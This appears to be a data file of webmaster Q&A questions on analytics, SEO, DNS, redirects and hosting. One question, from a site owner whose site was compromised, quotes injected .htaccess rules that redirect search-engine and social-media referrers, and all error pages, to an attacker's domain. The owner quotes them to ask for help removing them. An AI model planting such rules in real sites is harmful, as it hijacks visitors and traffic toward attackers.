{"id":"43607","title":"Google Analytics and multiple sites with combined stats","text":"I have about 40 sites (similar structure just different verticals\/content). Example: site1.com site2.com **Is it possible to see the stats of all sites within one property?** I was thinking of doing this in Google Analytics: * Create a new analytics account * Create a new property * Create a profile for every site within the single property The default property Google creates is named \"All Web Site Data\". Does this mean that I can see combined statistics for all sites under this single property. Going on the other properties I would see the stats for the individual site. What I described above... is there a special analytics tracking code I need to put on my sites? There was a similar question asked but the link in the answer is now dead."}
{"id":"8782","title":"Which web design site discussed embedding single characters like & using base64?","text":"I'm looking for a well known article site on site design which made an article about embedding just a single character (in this case, '&') from a font to save load times. I believe the site used fixed width, pale colours. Thanks"}
{"id":"30831","title":"Is there an elegant way to track multiple domains under separate accounts with Google Analytics?","text":"I have a situation where a content management system uses the same template for multiple websites with different domain names and I can't make a separate template for each. However, each website needs to be tracked with Google Analytics. Would this be appropriate to track each domain like this by putting in some conditional code? And would this be robust enough not to break? Is there a more elegant way to do this? <script type=\"text\/javascript\"> var _gaq = _gaq || []; switch (location.hostname){ case 'www.aaa.com': _gaq.push(['_setAccount', 'UA-xxxxxxx-1']); break; case 'www.bbb.com': _gaq.push(['_setAccount', 'UA-xxxxxxx-2']); break; case 'www.ccc.com': _gaq.push(['_setAccount', 'UA-xxxxxxx-3']); break; } _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga); })(); <\/script> Just to be clear, each website is a separate domain name and must be tracked separately, NOT different domains with same pages on one analytics profile."}
{"id":"58555","title":"Can you transfer domains for free, without renewing\/extending it?","text":"Can you transfer a domain for free, without renewing it? The registrars I've seen so far all require you to buy an extra year's registration, but I'm not sure if this is a requirement of transferring a domain or not."}
{"id":"10010","title":"How to prevent \"framing\"?","text":"My website keeps getting hijacked by searchportal.information it looks like they are using an iframe script to do it. here is the script (link doesn't work anymore): how do I prevent them from including my site\/content on an iframe on their site?"}
{"id":"31610","title":"Same product name in different categories","text":"I have two questions about URL structure for SEO. 1. I have one product belongs to multiple categories. Is this OK for SEO OR shall I give them different product names? 1. example.com\/shirts\/denim\/poloshirt.html 2. example.com\/shirts\/pinkcolor\/poloshirt.html 2. Is it good or to put numeric product code in the URL as this: 1. example.com\/shirts\/denim\/shirt-st397.html 2. example.com\/shirts\/denim\/shirt-sw160.html Google regard it as one product or different products?"}
{"id":"30353","title":"Best way to slice up a non rectangular image?","text":"I have the image below and need to create a rollover for each \"piece\" or arrow in the circle. Because the image isn't rectangular, it boggles how me how I'm going to do this without having badly overlapping pieces. As you can see from the image below, the slices will overlap each other (quite a bit), which will not be good for the rollover. Does anybody have any ideas as to how to accomplish this without resorting to Flash or HTML5? The majority of our site's users use dinosaur browsers that don't support HTML5. Here is the image: "}
{"id":"29696","title":"How to tell search engines about new image URL's?","text":"I have just moved my website from a hosted provider to Windows Azure. The page URL's are all the same, but the location of the files is now different. How can I tell search engines about the new locations of the images? My site is very visual, so ranking of images is important."}
{"id":"31619","title":"SEO with an iframe and a secondary domain","text":"Just a question, a client of the company I work for was They run the SEO page on a new domain (they own it for the client) http:\/\/kunstplanten-decoratie.nl\/kunst_vetplanten\/ while the original page is located at: http:\/\/www.deco-trade.nl\/index.php\/kunstplanten\/alle-planten.html Below is the code they are using, they use an iframe to include the real domain. Is this even allowed by SEO tactics and does the content of the iframe even get indexed? <!doctype html> <html lang=\"nl\" dir=\"ltr\"> <head> <title>Kunst vetplanten | Deco Trade<\/title> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\"> <meta name=\"description\" content=\"De kunst vetplanten van Deco Trade zijn een mooi decoratiemiddel voor zowel thuis als op kantoor\"> <meta name=\"keywords\" content=\"Kunst vetplanten, KUNSTPLANTEN\"> <link rel=\"stylesheet\" type=\"text\/css\" href=\"..\/css.php\"> <\/head> <body itemscope itemtype=\"http:\/\/schema.org\/Florist\"><div id=\"wrap\"><div id=\"body\"> <h1>Kunst vetplanten<\/h1> <p><img src=\"kunst_vetplanten.gif\" alt=\"Kunst vetplanten | Deco Trade\"><strong>Kunst vetplanten, KUNSTPLANTEN<\/strong><\/p> <h3>De kunst vetplanten van Deco Trade zijn een mooi decoratiemiddel voor zowel thuis als op kantoor<\/h3> <p>Deco Trade heeft een ruime sortering kunst vetplanten in verschillende maten. Een tweetal keuzes zijn de Crassula kunt vetplant en de Senecio kunst vetplant. De Crassula kunst vetplant is met zijn dikke diep groene bladeren en echte houten stammen een mooie vetplant voor op tafel of dressoir. Het model leent zich perfect voor presentatie in een luxe schaal, maar de Crassula laat zich ook goed combineren met een smalle hoge plantenbak.<\/p> <p>De diameter van de kunst Crassula is ±45-50cm en de hoogte inclusief de binnenpot is ±70cm. Standaard wordt de kunstplant geleverd in een plastic binnenpot zodat deze eenvoudig in een sierpot te plaatsen is. De afgebeelde sierpotten kunnen los besteld worden. Tevens leverbaar in een kleine maat van 40cm.<\/p> <p>De Senecio kunst vetplant, is met zijn vele blaadjes een leuke vetplant voor op tafel of in de vensterbank. Als enkel kunstplantje in een hoge sierpot, met meerdere op een rij, of in een luxe platte schaal, met deze kunst vetplant kun je perfect decoreren! De diameter van de Senecio kunstplant is ±30cm en de hoogte inclusief het binnenpotje is ±20cm. Standaard wordt het plantje geleverd in een 12cm plastic binnenpot zodat deze eenvoudig in een sierpot te plaatsen is. De afgebeelde sierpotten kunnen los besteld worden.<\/p> <p class=\"centre\"><a href=\"..\/kunst_buxusbal\/\" title=\"Kunst buxusbal\">Kunst buxusbal<\/a> <a href=\"..\/kunstbuxusballen\/\" title=\"Kunstbuxusballen\">Kunstbuxusballen<\/a> <a href=\"..\/kunstcactus\/\" title=\"Kunstcactus\">Kunstcactus<\/a> <a href=\"..\/kunst_cactus\/\" title=\"Kunst cactus\">Kunst cactus<\/a> <a href=\"..\/kunst_bloeiende_planten\/\" title=\"Kunst bloeiende planten\">Kunst bloeiende planten<\/a> <a href=\"..\/buiten_kunst_planten\/\" title=\"Buiten kunst planten\">Buiten kunst planten<\/a> <a href=\"..\/kunst_ficus\/\" title=\"Kunst Ficus\">Kunst Ficus<\/a> <a href=\"..\/kunst_guirlande\/\" title=\"Kunst Guirlande\">Kunst Guirlande<\/a> <a href=\"..\/kunsthaag_elementen\/\" title=\"Kunsthaag elementen\">Kunsthaag elementen<\/a> <a href=\"..\/uv_planten\/\" title=\"UV planten\">UV planten<\/a> <a href=\"..\/grote_kunstplanten\/\" title=\"Grote kunstplanten\">Grote kunstplanten<\/a><\/p> <p class=\"centre\">Copyright 2011 <a href=\"..\/index.php\">kunstplanten-decoratie.nl<\/a> | <a href=\"..\/contact.php\" title=\"Contact\">Contact<\/a> | <a href=\"..\/sitemap.php\" title=\"Sitemap\">Sitemap<\/a><\/p> <\/div><\/div> <iframe src=\"http:\/\/www.deco-trade.nl\/index.php\/kunstplanten\/alle-planten.html\" scrolling=\"no\" frameborder=\"0\"><\/iframe> <\/body> <\/html>"}
{"id":"30604","title":"Effect of multiple backlinks with different anchor text from same site","text":"So if you took videos and photos for a website, would > Photography and Videography by Company Name offer any SEO advantage over > Photography and Videography by Company Name I understand that multiple links from the same site aren't treated equally, but what if they have different anchor text?"}
{"id":"13064","title":"Is it possible to register a \".er\" domain. If so, how?","text":"The title says it all. Where could I go to register the domain?"}
{"id":"8430","title":"Getting on mediawiki spammers list?","text":"I am setting up a test site which I WANT to get spammed by WIKI spammers, ie those spambots that run rampant on a wiki site filling it up with junk data... How do i get on one of those lists?"}
{"id":"34647","title":"Google Webmasters Tools strange 404 errors referred from same site","text":"Starting about a month ago, I noticed a sudden increase in 404 errors in Webmasters Tools for one of my sites (over 1400 errors so far). All the errors are being referred from my own site to non existent pages. The 404 error URLs are all of the same format: URL: http:\/\/www.helloneighbour.com\/save\/1347208508000 The number on the end appears to be a timestamp followed by 3 zeros. The referring page, in this case is : Linked from http:\/\/www.helloneighbour.com\/save\/cmw-insurance-insurance-burnaby When I look at the source code of that page, or I use Webmaster tools to view the page as Google sees it, I can't find any link that comes close to what is above. I built the site, and I can't find any place that might be causing these false links either. The server logs (access and error) don't show Google or anyone else trying to access these links. I've marked all these pages as fixed, and waited a couple of weeks, only to find the errors come back again over the last few days. I'm wondering if anyone else has seen anything strange like this, or if someone might have a way for me to debug, replicate this error myself."}
{"id":"34648","title":"Why the difference in Google search result using script for search and using a browser for search?","text":"I wrote a script to find the position in Google search result for a search keyword. I also did the same with the browser. The two results are different. Let me explain in detail here. I have a website and I wanted to know on which page number my domain appears for a search string. Like when I search for 'code snippets' I wanted to find in Google search on which page number a certain domain appears. I wrote a PHP script to search page by page starting from page 1 to page n. Then I did the same task using a browser. The script returned page 4 and when browsed I can see the domain appearing on the second page. Here is the search string I used in my code. > \/search?hl=en&output=search&sclient=psy-ab&q=code+snippets&start=0&btnG= For each request I change the `start=0` to `start=1`, `start=2`, etc., and in the response I will check whether my domain appears in it. Any idea why this is different in search results?"}
{"id":"34989","title":"Google on capital letters in url","text":"I created one of my websites with the following url structure: http:\/\/domain.com\/Animal\/Pig http:\/\/domain.com\/Pigs If I change the url map to lower case letters instead, will google reindex those pages? http:\/\/domain.com\/animal\/pig http:\/\/domain.com\/pigs"}
{"id":"44849","title":"Redirecting www.foo.example.com to foo.example.com","text":"I have a Cpanel web hosting account and have created a subdomain which redirects to an IP address of a different server (Windows IIS) by creating an A record. I don't have control of the Windows server. I would like that those people who type `www.` before the subdomain get redirected to the same page. I tried creating a CNAME record pointing www.foo.example.com. to foo.example.com but it isn't working. It is actually stopping the A record from working. How do I redirect www.foo.example.com. to foo.example.com in Cpanel?"}
{"id":"50568","title":"Duplicate title tags in Google Webmaster Tools","text":"Under _Google Webmaster Tools > HTML Improvements > Duplicate title tags_ I can see 800 duplicates listed. They are not exact duplicates but rather pages as shown below: \/questions\/0?page=1058&sort=asc&order=Solution \/questions\/0?page=1080 \/questions\/0?page=1194 \/questions\/0?page=1350&sort=desc&order=Category \/questions\/0?page=1405&sort=desc&order=Reads \/questions\/0?page=1597&sort=asc&order=Author \/questions\/0?page=1609&sort=asc&order=Category \/questions\/0?page=168&sort=desc&order=Reads \/questions\/0?page=1683&sort=asc&order=Reads \/questions\/0?page=1962&sort=asc&order=Posted%20date \/questions\/0?page=2131&sort=asc&order=Author \/questions\/0?page=2132&sort=asc&order=Author \/questions\/0?page=334&sort=desc&order=Node%20Nid How can I fix them and not have them displayed in Google Webmaster Tools as duplicates, since they are different pages?"}
{"id":"50567","title":"Make not found error pages in Drupal send 404 status","text":"I have a website which built with Drupal and the page not found redirects the users to: Page not found `http:\/\/www.sitename.com\/node\/126` When I check the error code for this page, it has a \"success 200 OK\". Now what changes should I do to yield a 404 error so the users who clicked on this broken link and landed on this page will get a 404 error, and at same time Google will know it's a 404 error and prevent the link from being indexed?"}
{"id":"50564","title":"Is OpenCart any good? Or should I go with Shopify?","text":"So I am to develop an e-commerce site. I have used OpenCart in the past for very small jobs but havent fully explored it. Is it reliable? Can I also use it as a proper CMS? I am considering using Shopify but there are a few questions I have about it too. Can I incorporate JavaScript and JQuery into the themes> Can I host it on my own server? What are peoples experiences with Shopify? Any advice on these would be great!"}
{"id":"35695","title":"Students publishing their websites to Amazon S3","text":"I want students to publish their static websites to Amazon S3. But I can't have them all create AWS accounts because it requires their credit cards even for the free usage tier. I don't mind letting them use an account I setup (I'm happy to pay amazon's fees for usage too), but I need to give students their own directory and credentials to upload files. Is this possible with Amazon S3?"}
{"id":"47639","title":"How many SSL certificates are required?","text":"I have the following domains, all inside one single VPS (one IP address): www.example.com classmates.com john.classmates.com mary.classmates.com blog.classmates.com If I need `https` for the following domains: https:\/\/www.example.com https:\/\/classmates.com https:\/\/john.classmates.com https:\/\/mary.classmates.com What's the minimum number of SSL certificates required?"}
{"id":"38738","title":"How to avoid \"chunked\" Transfer-Encoding?","text":"How to avoid chunked Transfer-Encoding ? Is there any benefit with this encoding? Below is what appears as part of Apache Web Server (V2.4) header message: Connection: Keep-Alive Content-Type: text\/html; charset=utf-8 Content-Encoding: gzip Transfer-Encoding: chunked"}
{"id":"22565","title":"Is there any reason to allow Yahoo! Slurp to crawl my site?","text":"I thought a year or more ago Yahoo! would be using another search engine for results, and no longer using their own Slurp bot. However, a couple of the sites I manage Yahoo! Slurp continues to crawl pages, and seems to ignore the Gone status code when returned (as it keeps coming back). Is there any reason why I wouldn't want to block Yahoo! Slurp via robots.txt or by IP (since it tends to ignore robots.txt in some cases anyways)? I've confirmed that when the bot does hit it is from Yahoo! IPs, so I believe this is a legit instance of the bot. Is Yahoo Search the same as Bing Search now? is a related question, but I don't think it completely answers whether one should add a _new_ block of the bot."}
{"id":"61123","title":"Is mixing 'Adsense' banners and content okay on a Pinterest style layout?","text":"I was under the impression that Google likes to have their adverts clearly separated out from content so that people don't accidentally click on the adverts thinking they are articles. For a 'pinterest' style layout where you only see the one page and a few pop ups over that one page, you could mix in the adverts with the content, as demonstrated with the two adverts slap in the middle on this site:  Clearly this can be done and it exists in the wild, with Google adverts being supplied to the site. However, is that against the spirit and\/or the letter of what one signs up to with Adsense?"}
{"id":"42448","title":"What are \"rows\" in a responsive grid system?","text":"I'm looking at various grid systems to make a responsive design, but I keep coming across the same thing that puzzles me : What's a _row_ in a design where everything can move based on the screen size ? Say I want the following design on a large screen :  Which turns into that on a mobile screen :  Columns make sense to me ; I can make my blocks span as many of them as needed, but aren't rows specific to one screen size ?"}
{"id":"61124","title":"Subdomain takes the position of main site in Google search result","text":"We have one domain and one sub-domain. Until last week both of them appear in first page of Google search for very important keyword. Unfortunately Google dropped our main domain from search results. our main site has been in first page for 5 years! About one year ago we build this sub-domain. It simply has been redirected to one of pages of main domain. For solving problem we upload a independent site for sub-domain because we guessed that Google think this is our main page of our site. But problem did not solved. What should we do? our main site offer main services and we we want that will be on first page. Shout down sub-domain? Redirect to main site? Put the link of our main site in sub-domain? (About one year ago we put link of this sub-domain to our main site. Google indexed it and continuously bring that to top.) changing in _robots.txt_ ...."}
{"id":"26416","title":"View hits by domain name in Google Analytics","text":"I have multiple domains and I set the appropriate settings in the javascript code but in Google Analytics I would like to see the number of page views by each domain. I can't seem to find this report. Any help would be greatly appreciated. I am sort of a newbie at GA. Thank you!"}
{"id":"26418","title":"Hacked .htaccess - Inconsistent Results","text":"At present a large number of `.htaccess` files are being created in various website folders throughout the site. Current `.htaccess` files are also being modified to include the following (cleaned up) data to the file: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\\.(.*) RewriteRule ^(.*)$ http:\/\/hacked-address.com [R=301,L] RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\\.(.*) RewriteRule ^(.*)$ http:\/\/hacked-address.com [R=301,L] <\/IfModule> ErrorDocument 400 http:\/\/hacked-address.com ErrorDocument 401 http:\/\/hacked-address.com ErrorDocument 403 http:\/\/hacked-address.com ErrorDocument 404 http:\/\/hacked-address.com ErrorDocument 500 http:\/\/hacked-address.com I have removed access to the files several times, however there appears to be a back door elsewhere that I have been unable to locate. I have checked the cron jobs with nothing added there. What is the best method of identifying the backdoor and removing it?"}
{"id":"34050","title":"Access denied to visit a site without www","text":"Why can I visit my own site: `http:\/\/www.example.com` but not `http:\/\/example.com`, which gives me > HTTP Error 403 (Forbidden): The server refused to fulfill the request How do it fix it? I wrote the site and upload to remote server."}
{"id":"24671","title":"Three-Column Gallery Layout","text":"I've been trying to do the following 2 things, but have been unsuccessful. I know they're really simple, but I just can't seem to get them to work. Here's the website I started coding today. 1) I'm trying to make a 3-column gallery layout. It sounds so simple, but I have been unsuccessful so far. Not sure how to achieve this. I Google'd and came across various articles, but none of them were aligning properly. See the link provided. I want to have three 320px wide thumbnails. I tried creating lists, and floating divs. I could use a table, but aren't divs better now? Suggestions? 2) I'm trying to make it so each button in the menu has a different colour in hover and selected state. The other two are different pages, but I'm not sure how to change them and keep the same effect. I found the script here. I am new to this so any help is appreciated :)"}
{"id":"34358","title":"How to track a site-search with lots of options?","text":"Our website has two search forms. One of them includes no text input, but a lot of checkboxes, dropdown boxes and radio buttons for narrowing down our product catalogue. Is there a good way to track how clients use that search function, similar to Google Analytics Site Search? I don't have any specific goals in mind, but would like to know how it is used."}
{"id":"58323","title":"Is there an upperlimit for the number of links on a page?","text":"What if a particular homepage contains a huge number of links. Is it good \/ bad for SEO ? What is the process one should follow to optimize this.. As you know, Home pages generally are the entry point for a website. and the links on this will be more than any recommended upperlimit.. I've heard something that a page shouldn't have more than 150 links on it."}
{"id":"57361","title":"How often should a sitemap be rebuilt?","text":"How often should a sitemap be rebuilt? Weekly, monthly? I'm curious about adding a dynamic sitemap thats generated weekly. Is that too often?"}
{"id":"42443","title":"How can I make a \"backup\" that can serve static pages if the main site goes down?","text":"We've got one server running our company's website. Unfortunately, it sometimes experiences problems. Is there a way to set up another server to serve the static websites, in case the original server doesn't respond to pings?"}
{"id":"57362","title":"Is it legal and ethical to remove license notices from third-party code?","text":"I want to use third-party code as my front-end framework, for example Bootstrap. In the code for Bootstrap and jQuery, there's a license. For example in _boostrap.css_ : \/*! * Bootstrap v3.0.3 * * Copyright 2013 Twitter, Inc * Licensed under the Apache License v2.0 * http:\/\/www.apache.org\/licenses\/LICENSE-2.0 * * Designed and built with all the love in the world @twitter by @mdo and @fat. *\/ \/*! normalize.css v2.1.3 | MIT License | git.io\/normalize *\/ Can we remove this text? In order to reduce HTTP requests, we want to make one CSS file so that Bootstrap will be combined with a customize CSS style. My question is: can we remove this text, and if we do, would we be violating any laws? What should we do and don't do?"}
{"id":"4125","title":"Should a canonical URL be search engine friendly?","text":"I'm using Drupal with search engine friendly URLs. The way Drupal works is that there's two ways to reference a node with SEF URLS switched on: 1. The SEF way, eg. `http:\/\/example.com\/blog\/the-answer-to-life` 2. Via the node ID, eg. `http:\/\/example.com\/node\/42` (The second form issues a 301 to the first.) The first path can be changed quickly and easily, the second is fixed (for the lifetime of the site or node). I'm not suggesting it's a good idea for websites to change their paths on a regular basis, but it's something that might happen, so it occurred to me that I could use the second form as a canonical URL, and that would mean that the same page would be always correctly indexed, and would always retain its Page Rank etc. Could folk help list the pros and cons of such an approach?"}
{"id":"6128","title":"How do I add multiple providers DNS to my domain for website replication and access?","text":"Hello I have a website that I would like to keep online no matter what for that purpose I don't mind buying multiple webhosting packages. Its a small website in terms of size but not in terms of client access and employee email accounts. I would like to achieve the following: 1) Add the DNS records of these multiple providers to one domain name, so if the on providers servers go down it can automatically use the next appropriate server. 2) Emails can be replicated across all three servers, I don't mind purchasing webhosting accounts with the same contol panel if I have to achieve the same."}
{"id":"55422","title":"Curl not working with PHP 5.4.6","text":"I'm trying to use Curl to send and receive XML information from my credit card company and it works great in a shared server (sandbox). However, now that I uploaded it to my dedicated server it does not work. Below is the Curl information from my _phpinfo_ file: cURL support enabled cURL Information 7.19.7 Age 3 Features AsynchDNS No Debug No GSS-Negotiate Yes IDN Yes IPv6 Yes Largefile Yes NTLM Yes SPNEGO No SSL Yes SSPI No krb4 No libz Yes CharConv No Protocols tftp, ftp, telnet, dict, ldap, ldaps, http, file, https, ftps Host i486-pc-linux-gnu SSL Version GnuTLS\/2.8.5 ZLib Version 1.2.3.3 I'm using lighttpd, do I need to add something in its config file?"}
{"id":"54725","title":"Should or can I set the rel=\"publisher\" link on all my webpages?","text":"One can establish a link from a website to a Google+ page by adding a `rel=\"publisher\"` link in the head of the `index.html` document (for example). But, should or can this link be set on all pages of the website? Or is it redundant?"}
{"id":"5685","title":"Is there an alternative to LiveStream?","text":"I´m looking for an alternative to LiveStream, I mean, a free live streaming solution for video broadcasting and then embedding the player in my website. * Bandwidth limitations is OK. * Concurrent users limitation is OK. * 24\/7 transmission capabilities. [ **Note** : no 'stream' or 'streaming' tag available, please re-tag]"}
{"id":"57302","title":"Where must a PTR record point to in order to avoid being classified as a spammer?","text":"We have a dedicated server for our website, and we also use it to send out bulk emails (ALWAYS by request, NEVER unsolicited or for spam). We are trying to set up a `PTR` record and there's one thing I simply can't understand: If I send out email from _someone@example.com_ , and example.com's `A` record is `x.x.x.x`, then in order for my IP not to be considered a spammer, the `PTR` record for `x.x.x.x` must point to: 1. example.com? 2. any of example.com's MX records? 3. the name of the domain as it appears in the SMTP banner you receive when connecting to example.com:25? 4. all\/none\/any of the above?"}
{"id":"5683","title":"robots.txt - just a guess about wild-card","text":"so if I disallow tempPage, does it mean tempPage_1, temp_Page_2, tempPage_x are also disallowed? I tried to google this up, but I don't know..."}
{"id":"57365","title":"Relative URLs confuse Google crawler","text":"I'm having some odd problems that are apparently being generated by Google crawler. Bing isn't these errors, so it's kind of confusing. The problem seems to be because of relative links. Google crawler reports this URL as something it found: http:\/\/example.com\/event_comments\/ChupacabraCon\/eedit\/event_comments\/Siege_of_Augusta\/event_comments\/Genghis_Con_XXXV\/91 However that isn't a URL thats generated by the site. The one below is: http:\/\/example.com\/event_comments\/Genghis_Con_XXXV\/91 I'm puzzled why Bings crawler isn't having a problem when Google is. Do I need to change all of the relative URLs to strict? Is there another work around?"}
{"id":"38932","title":"Serve 404 error, if typing not exact URL","text":"At the moment, when I type: xyz.lo\/abc.php\/123 in my webbrowser, Apache serves the same page if I were typing xyz.lo\/abc.php Unfortunatelly relative links present in HTML won't work with the first version. How do I make Apache serve 404 error, if I type not exact URL?"}
{"id":"38936","title":"Using hreflang to specify a catchall language","text":"We have a site primarily targeted at the UK market, and are adding a US-market alternative. As per Google's recommendations: > To indicate to Google that you want the German version of the page to be > served to searchers using Google in German, the en-us version to searchers > using google.com in English, and the en-gb version to searchers using > google.co.uk in English, use rel=\"alternate\" hreflang=\"x\" to identify > alternate language versions. Which gives us: <link rel=\"alternate\" hreflang=\"en-gb\" href=\"http:\/\/www.example.com\/page.html\" \/> <link rel=\"alternate\" hreflang=\"en-us\" href=\"http:\/\/www.example.com\/us\/page.html\" \/> We do get enquiries from other areas of the world - particularly where there are expat communities (Dubai, UAE, Portugal etc). By adding the above tags, is there a risk that Google will only surface our site for UK and US search users? Do we need to specify a catch-all that will default all other searches to our UK site?"}
{"id":"56196","title":"Duplicate meta title and description displayed in Google Webmaster Tools","text":"In Google Webmaster Tools under _Search Appearance --> HTML Improvements_ it's showing: Duplicate Meta Titles - 166 Duplicate Meta Descriptions - 275 For example: **Duplicate title tags** _Offer prices on Guitars, Pianos, Drums, Saxophones & Violins - Offers in Bangalore, Chennai, Hyderab_ > \/musical-instruments-2 > > \/musical-instruments-2?manufactureid=103&pagesize=40 > > \/musical-instruments-2?manufactureid=103&pagesize=800&orderby=15 > > \/musical-instruments-2?manufactureid=56&pagesize=320 > > \/musical-instruments-2?manufactureid=60&pagesize=160 > > \/musical-instruments-2?manufactureid=86&pagesize=400 > > \/musical-instruments-2?pagesize=12&manufactureid=76&orderby=10 > > \/musical-instruments-2?pagesize=240 > > \/musical-instruments-2?pagesize=600 > > \/musical-instruments-2?pagesize=80&manufactureid=104 **Duplicate meta descriptions** _Springwel Mattress Bangalore with 5 Guaranteed Benefits | Best Price, Quick Door Step Service, Free_ > \/springwel?orderby=11 > > \/springwel?orderby=15 > > \/springwel?pagesize=160 > > \/springwel?pagesize=350 > > \/springwel?pagesize=40 Why is it showing this and how can I remove these duplicate titles and descriptions?"}
{"id":"38939","title":"Streaming recorded video","text":"What do I need to do in order to stream recorded videos? I have worked with recording and streaming video contents in real time. I've also worked with VOD application. But I seem to not find much resource on how can I stream recorded content. It would work like a TV with schedules etc, except that it is hosted on the internet. _Edit:_ In case it is not clear enough, I want to _schedule_ streaming."}
{"id":"22783","title":"jquery ui minify","text":"I have a series of web pages that link to the following: jquery-ui-1.8.4.custom.min.js jquery.ui.widget.js jquery.ui.core.js jquery.ui.accordion.js jquery.ui.selectmenu.js jquery.ui.button.js Not every page uses each .js (for example, not every pages uses jquery.ui.button) however I was wondering if it would make more sense to combine all of these files and minify them into a single.js file and include it on every page?"}
{"id":"31878","title":"Embarking on a website redevelopment and all developers pushing to move to ASP.NET 4.0","text":"Our company is going through a website redevelopment \/ retooling exercise and we are not quite sure which direction to take. We are told that the website was built in ASP classic and that we should be moving to ASP.NET 4.0. Some developers refuse to do any work in the ASP classic framework citing the advantages of ASP.NET 4.0-- stability, compilation, language support. We are generally happy with our website as is. There are some kinks in the backend involving forms and there is little integration between the CRM of the website and any content management system. Does the move from ASP classic to ASP.NET 4.0 give major advantages to the integration between how content is created, and delivered to our customers?"}
{"id":"57996","title":"Cant connect to my HTTP sever outside of my local network","text":"I have recently hosted a website on my ubuntu pc and I can access the page at `localhost` and my external ip. but when I try typing my external IP on my phone that is connected to is own network (3g) not wifi I get `Google chromes connection attempt was rejected` I have set up port forwarding on port 80. what have I done wrong?"}
{"id":"23786","title":"Is it possible to find all subdomains for a certain domain?","text":"a client of mine is currently hosting a web-project on one of his servers with some sub domains for previews, testing etc. Those are really hard to guess sub domains like: * `donottestme123789.example.com` * `preview_for_you15685485468.example.com` and so on ... In the past days we noticed, that there are some users using those project instances which shouldn't even know of those :-) Is there any way besides Google or brute forcing to get a full listing of sub domains from a domain?"}
{"id":"57739","title":"Should pages linked to in my nav and footer be included in my sitemap?","text":"I'm more of a back end developer and can't answer this question from my own research. When setting up the links in my sitemap, do I need to include the pages that I link to in my top navigation and footer? These links show up on all pages and will be crawled if\/when any page on the site is crawled."}
{"id":"36390","title":"Why my domain redirect on Google Apps is returning 404?","text":"I have a configuration in the Google Apps Control Panel (dcc.securepaynet.net) to redirect tombrito.com to http:\/\/buscatextual.cnpq.br\/buscatextual\/visualizacv.do?id=K4499244H9. It worked fine until some days ago, but now it's returning 404. If you access tombrito.com you can see the favicon in the title of the browser tab, but the page shows a 404 error. The target page http:\/\/buscatextual.cnpq.br\/buscatextual\/visualizacv.do?id=K4499244H9 is fine, it's only some problem with my redirect. Any idea what's wrong here?"}
{"id":"65174","title":"Will lower casing all canonical url solve duplicate issue","text":"The website I'm working on can have both upper and lower case URLs, even though they will produce the exact same content. eg: http:\/\/www.freeofficefinder.com\/uk\/office-space\/london\/soho and http:\/\/www.freeofficefinder.com\/uk\/office-space\/london\/SOHO Will both produce the same search results for the area \"Soho\". I have just placed a \"Lower Case\" canonical url in the all the pages now seeing as Google was obviously complaining about \"duplicate\" results. After almost 4 weeks these pages are still listed as being duplicate even though the Canonical URL is lower case (even for the uppercase links) Is there something else I should do, will this \"canonical URL\" work, or should I just wait a little longer for Google to update my index in Google Webmaster Tools?"}
{"id":"16159","title":"best way to cleanly display 15-20 youtube videos in a webpage?","text":"I am currently building a website for a client who has about 20 or so videos that he wants put on a video gallery page and I was wondering if you guys could help me out and give me some advice on how to go about this. I have found yoxview, possibly lightbox... but I don't know if that popup window is really good for video browsing. Also, should\/could this be asked in the webmasters instead of stackoverflow?"}
{"id":"5979","title":"What are the graphical and thematic trend cycles in web design?","text":"I think web design is not different than any other technology aesthetic, and there are trends that form from successful standouts being copied, but through a slight overcompensation, which then builds upon the trend. For instance bell bottom jeans--first a designer had a slightly wide cut, which proved original, and then the next season 5 other designers did the same but wider. And so on, until after a couple years, bell bottoms were super wide and a designer came up with a peg leg and that \"reset\" the trend. You can see this in other forms of art\/technology\/culture --> ford explorer, brings the jeep cherokee, brings the cadillac and then the hummer to be reset by the mini or prius. OK. . . so the question I have, is how might these sort of trend cycles manifest in web design?"}
{"id":"27091","title":"How to check if someone is using my website resources?","text":"How can I check whether someone is using the resources hosted on my website? I have a website (coded in PHP) and I have uploaded a few images there. I want to know who is using those images on other sites. Normally, the people use image URL to access and display images from my website. I don't need the code, just need some guidelines. If you can give me some pseudo code, that's appreciated too :P **EDIT:** Seeing the responses, I feel that my question was't well-versed, so to rephrase: > I need the PHP code to check who is using images hosted on my site Is this possible in PHP? If yes, what should be the algorithm for it? Any coding guidelines?"}
